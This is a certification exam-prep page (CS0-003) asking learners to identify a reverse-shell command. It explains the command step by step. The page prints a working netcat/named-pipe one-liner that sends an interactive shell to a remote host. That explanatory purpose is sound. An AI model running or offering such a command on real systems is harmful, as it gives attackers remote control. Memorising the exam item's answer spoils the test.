ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 202 - CS0-003 discussion

Report
Export

A security analyst detected the following suspicious activity:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f

Which of the following most likely describes the activity?

A.
Network pivoting
Answers
A.
Network pivoting
B.
Host scanning
Answers
B.
Host scanning
C.
Privilege escalation
Answers
C.
Privilege escalation
D.
Reverse shell
Answers
D.
Reverse shell
Suggested answer: D

Explanation:

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:

* rm -f /tmp/f deletes any existing file named /tmp/f

* mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

* cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

* nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

Reference

Hack the Galaxy

Reverse Shell Cheat Sheet

asked 02/10/2024
Brian Carlo Hubilla
36 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first